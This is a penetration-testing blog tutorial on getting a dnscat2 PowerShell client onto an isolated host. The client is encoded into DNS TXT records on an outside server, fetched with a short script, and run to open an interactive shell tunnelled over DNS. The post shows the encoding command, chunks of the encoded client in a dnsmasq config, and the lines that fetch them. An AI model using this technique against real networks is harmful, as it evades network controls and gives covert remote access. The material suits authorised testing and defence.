Blog: How-Tos
Can’t get data onto that machine? Download a tunnel client over DNS
[Author credits to Ian Williams as well]
Just imagine the annoyance. You’re on a client’s site with a possibility of a fully interactive tunnel between their most confidential network and the Internet, but your only access is through Terminal Services, from another device, where copy and paste is disabled.
Of course we are talking about the often forgotten DNS tunnel. My tool of choice for these is dnscat2. This is relatively easy to get running – use a throw away domain which is set to resolve to your server, run the dnscat2 client and that’s that.
Except, we need to get the client to our target. I’ve used a Rubber Ducky in the past to do this, as explained in one of my earlier posts and I’ve used an AutoHotKey macro to do something similar as well. These wouldn’t work this time: I didn’t have my Rubber Ducky on me and I could connect my laptop to the network.
So we needed a way to transfer our client (we’re using the Powershell version for simplicity) to the target host over an airgap, with no specialised hardware and only a Terminal Services front end to use.
Mulling over the problem for a while gave us an idea. Use DNS TXT records to transfer the client; i.e. we can write a simple script put it on a DNS server on the internet.
DNS – What is it?
One other thing that we rely on when we have two systems talking to each other is the ability to refer to them by a friendly name, either some cryptic naming standard like SEC-ABSQL01 or Gandalf, depending on the length of your sysadmin’s beard.
The DNS protocol is designed to allow you to look up a system’s IP address if you only know its friendly name, and it is one of the core protocols holding the Internet together. Imagine having to remember the 32-bit number of every web site that you want to visit?
It can also provide other features allowing administrators to make other data about a domain available, such as email servers, and contact information via a TXT record. These are commonly used to aid anti-spam techniques, such as SPF or DKIM.
If all of the IP address information had to be held by every DNS server, the amount of information each server would have to keep in sync would be massive, and impractical to manage. This is where recursive DNS queries come to our aid. If you ask your DNS server at work the address of www.google.com it will not know the answer, but it does know the address of the root DNS servers, who might know the answer.
So when your query arrives it will make its own query to the root DNS server asking the same question. Even the root servers don’t know all of the IP addresses, but they keep track of the DNS servers of the top level domains, such as .uk and .com, and will forward your request on to them. This forwarding of requests happens until your query arrives at the authoritive name server for google.com, which will respond with the answer by passing it back up the chain of requests.
This chain of requests is the functionality we will abuse to connect out to our server on the internet. You will notice that the original requester in the above example only ever connected to their local DNS server, prompting them to pass their request up the chain to the authoritive DNS server for the domain. In the example below we will demonstrate how we can request data from a DNS server under our control, in this case a nice little backdoor program, and execute this program to allow us a two-way interactive shell by passing data back and forth through DNS queries helpfully passed on via the secure networks DNS server.
The technique
Effectively the problem requires the following steps:
- Write a script to base64 for the client, break it in to chunks and spit out a configuration file.
- Load the configuration file onto a host on the Internet which is pointed to by DNS.
- On the target write a very simple and short script that can be manually typed in and will pull the records from the Internet and glue them together.
Looking to ensure maximum compatibility throughout the process, we chose to write all scripts in Powershell, which, with hindsight, was a bit of a flaw as neither of us were experts in Powershell or the Windows API.
After a couple of hours of Google, swearing at Powershell and general hacking about, we mangled a script together which will encode a file in DNS text records. This is how it does it:
- Base64 the file
- Split it into chunks of 254 bytes (a TXT record can consist of a number of strings, each one has a maximum length of 255 bytes)
- Put this in a TXT record called dnscat and the number of the chunk, e.g. dnscat1
- Write a final TXT record, dnscatcount, with the number of chunks
You can find a slightly spruced up version on our github repository. This will spit out a dnsmasq configuration file that can just be dropped in. We chose to use dnsmasq over other DNS servers simply because it has a simple configuration file format and was quick to set up and get running.
To run
The first step is to get a domain name, preferably a short one to minimise typing. I use 6-9.eu, because I own it and it’s very quick to type at only 6 characters long.
Use whoever you use to provide a domain name and set your name to be managed by a server you own.
Then, encode your client with the script:
D:\tools\tunnels\DNSTXT-encoder>powershell -exec bypass Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved. PS D:\tools\tunnels\DNSTXT-encoder> .\Encode-DnsTxt.ps1 -domain 6-9.eu -filein . .\dnscat2.ps1 -fileout dnsmasq.txt
The dnsmasq.txt configuration files looks something like:
PS D:\tools\tunnels\DNSTXT-encoder> type .\dnsmasq.txt | more log-facility=/var/log/dnsmasq.log log-queries txt-record=dnscat1.6-9.eu,ZnVuY3Rpb24gZG5zY2F0Mgp7CiAgcGFyYW0oCiAgICBbc3RyaW5nXSRETlNTZXJ2ZXI9IiIsCiAgICBbYWxpYXMoInAiKV1bVmFsaWRhdGVSYW5nZSgxLDY1NTM1KV1baW50MzJdJEROU1BvcnQ9NTMsCiAgICBbYWxpYXMoImRucyIpXVtzdHJpbmddJERvbWFpbj0iIiwKICAgIFthbGlhcygiZSIpXVtzdHJpbmddJEV4ZWM9IiIsCiAgIC txt-record=dnscat2.6-9.eu,BbYWxpYXMoImgiKV1bc3dpdGNoXSRIZWxwPSRGYWxzZQogICkKICAgIAogIGlmKCRIZWxwKQogIHsKICAgICIKZG5zY2F0MjogUG93ZXJzaGVsbCBWZXJzaW9uCiAgICAKLURvbWFpbiA8ZG9tYWluPiAgICAgICAgICBUaGUgZG9tYWluIG9mIHRoZSBkbnNjYXQyIHNlcnZlcgotRE5TU2VydmVyIDxob3N0PiAgICAgICAgIFRoZSBETlMg txt-record=dnscat3.6-9.eu,U2VydmVyIFtkZWZhdWx0OiBXaW5kb3dzIGRlZmF1bHRdCi1ETlNQb3J0IC1wIDxwb3J0PiAgICAgICAgVGhlIEROUyBwb3J0IFtkZWZhdWx0OiA1M10KLUV4ZWMgLWUgPHByb2Nlc3M+ICAgICAgICBFeGVjdXRlIHRoZSBnaXZlbiBwcm9jZXNzCi1IZWxwIC1oICAgICAgICAgICAgICAgICAgRGlzcGxheSB0aGlzIGhlbHAgbWVzc2FnZQ […] txt-record=dnscat45.6-9.eu,ZGdlbWVudE51bWJlcgogICAgICAgIFdyaXRlT3V0cHV0ICRSZXR1cm5pbmdEYXRhCiAgICAgIH0KICAgIH0KICB9CiAgZmluYWxseQogIHsKICAgIFNlbmRQYWNrZXQgKENyZWF0ZVBhY2tldF9GSU4gJFNlc3Npb25JZCAkRG9tYWluKSB8IE91dC1OdWxsCiAgICBpZigkUHJvY2VzcyAtbmUgJG51bGwpeyRQcm9jZXNzIHwgU3RvcC1Qcm txt-record=dnscat46.6-9.eu,9jZXNzfQogIH0KfQ== txt-record=dnscatcount.6-9.eu,46
As can be seen, this has a record, dnscatcount, with the number of strings (46) and then 46 TXT strings which can be mangled together with a short bit of PowerShell. Once these have been munged they can then be base64 decoded into the dnscat2.ps1 client.
Problems
If you look at the repo, you’ll see two different Decode-DsTxt.ps1 files. This was due to how the solution was developed. We originally wrote it on a Windows 10 client and then manually retyped it into a Windows 2008 server.
It worked on Windows 10, but failed on Windows 2008. This caused much head scratching until we realised that Windows 10 runs PowerShell 3, whereas Windows 2008 runs PowerShell 2.
This caused a problem with this line, used to do a DNS request:
$dr=(Resolve-DnsName -Name "dnscatcount.$d" -Type txt).Strings
Resolve-DnsName, being a useful command, in typical Microsoft fashion, does not exist in PowerShell 2. In fact, in PowerShell 2, you can only resolve A or CNAME records, which is annoying. To try and work around this for PowerShell 2 we had to do a low and dirty solution and shell out to nslookup, so the above line in Powershell is:
$cm="dnscatcount.$d" $co=(Invoke-Command -ScriptBlock {nslookup -type=txt $cm} 2>$null) $coa=([String]$co).Split('"') $dr=$coa[6]
Not quite as elegant is it?
Whatever, it worked. We transferred the client over to an airgapped system and ended up with a persistent DNS shell on the host:
Let’s enhance it
Can we improve this?
A couple of days after we got the shell working, my colleague had the idea of making a simple DNS server that could serve any file in a directory so we wouldn’t have to write a new configuration file each time.
An interesting concept and we could now leave PowerShell behind for the server (a great sigh of relief was breathed).
A couple of weeks later, and some mucking around with Python, lead to a create of Project Uninvited Guest, a simple Python script to serve any file to you over DNS TXT records. Because I’m lazy I based it on dnslib for Python.
The only downside is that it is not fast, depending on how the Internets connect from your target it could take a while to download any large program. It is recommended that use of this is kept to small files.